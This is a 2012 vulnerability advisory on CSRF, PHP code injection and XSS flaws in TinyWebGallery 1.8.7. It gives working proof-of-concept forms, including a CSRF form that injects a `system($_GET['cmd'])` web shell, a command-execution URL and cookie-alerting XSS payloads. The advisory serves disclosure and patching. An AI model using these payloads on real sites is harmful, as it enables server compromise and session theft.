Total Tests:

Multiple vulnerabilities in TinyWebGallery

Advisory ID:HTB23093
Product:TinyWebGallery
Vendor: TinyWebGallery
Vulnerable Versions:1.8.7 and probably prior
Tested Version:1.8.7
Advisory Publication:May 23, 2012 [without technical details]
Vendor Notification:May 23, 2012
Vendor Fix:May 24, 2012
Public Disclosure:June 13, 2012
Latest Update:May 30, 2012
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Code Injection [CWE-94]
Cross-Site Scripting [CWE-79]
CVE References:CVE-2012-2930
CVE-2012-2931
CVE-2012-2932
Risk Level:Critical
CVSSv2 Base Scores:4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in TinyWebGallery, which can be exploited to perform Сross-Site Request Forgery (CSRF), Arbitrary Code Execution and Cross-Site Scripting (XSS) attacks.

1) Сross-Site Request Forgery (CSRF) in TinyWebGallery: CVE-2012-2930
The application allows authorized administrator to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to add new users.
An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.
The following CSRF PoC (Proof of Concept) add new user:
<form action="http://[host]/admin/index.php?action=admin&dir=&order=name&srt=yes&t view=no&sview=yes&lang=en&action2=adduser" method="post" name="main" id="main">
<input type="hidden" name="confirm" value="true">
<input type="hidden" name="pass1" value="password">
<input type="hidden" name="pass2" value="password">
<input type="hidden" name="home_dir" value=".">
<input type="hidden" name="show_hidden" value="0">
<input type="hidden" name="no_access" value="^\.ht">
<input type="hidden" name="permissions" value="8">
<input type="hidden" name="upload_settings" value="15">
<input type="hidden" name="active" value="1">
<input type="hidden" name="user" value='user'>
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</scr ipt>


2) PHP code injection in TinyWebGallery: CVE-2012-2931
The vulnerability exists due to insufficient validation of input data passed to the "user" parameter within the user creation functionality. A remote authenticated user with administrative privileges can inject arbitrary PHP code into the .htusers.php file which will be executed when the admin/index.php script is accessed. It is also possible for a remote attacker to inject and execute arbitrary PHP code using CSRF vector, described in vulnerability #1.
The following PoC (Proof of Concept) modifies the ".htusers.php" file:
<form action="http://[host]/admin/index.php?action=admin&dir=&order=name&srt=yes&t view=no&sview=yes&lang=en&action2=adduser" method="post" name="main" id="main">
<input type="hidden" name="confirm" value="true">
<input type="hidden" name="pass1" value="">
<input type="hidden" name="pass2" value="">
<input type="hidden" name="home_dir" value=".">
<input type="hidden" name="show_hidden" value="0">
<input type="hidden" name="no_access" value="^\.ht">
<input type="hidden" name="permissions" value="8">
<input type="hidden" name="upload_settings" value="15">
<input type="hidden" name="active" value="1">
<input type="hidden" name="user" value='")); system($_GET["cmd"]); $a=array(array("'>
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</scr ipt>

The following example demonstrates execution of arbitrary commands:
http://[host]/admin/index.php?cmd=ls -la;id;pwd;uname -a;

3) Multiple XSS in TinyWebGallery: CVE-2012-2932
3.1 Input passed via the "selitems[]" POST parameter to /admin/index.php (when "action" parameter is set to "copy", "chmod" or "arch") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]/admin/index.php?action=copy" method="post" name="main" id="main">
<input type="hidden" name="selitems[]" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>

<form action="http://[host]/admin/index.php?action=chmod" method="post" name="main" id="main">
<input type="hidden" name="selitems[]" value='<script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>

<form action="http://[host]/admin/index.php?action=arch" method="post" name="main" id="main">
<input type="hidden" name="selitems[]" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>


3.2 Input passed via the "searchitem" POST parameter to /admin/index.php (when "action" GET parameter is set to "search") is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]/admin/index.php?action=search" method="post" name="main" id="main">
<input type="hidden" name="searchitem" value='<script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to latest TWG 1.8.8 build.

More Information:
http://www.tinywebgallery.com/forum/viewtopic.php?f=14&t=3274


References:
[1] High-Tech Bridge Advisory HTB23093 - https://www.immuniweb.com/advisory/HTB23093 - Multiple vulnerabilities in TinyWebGallery.
[2] TinyWebGallery - http://www.tinywebgallery.com - The TinyWebGallery is a free php photo album / gallery that is very easy to install, extremely user friendly, does not need a database (uses xml files) but still has all the features you should expect and much more.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential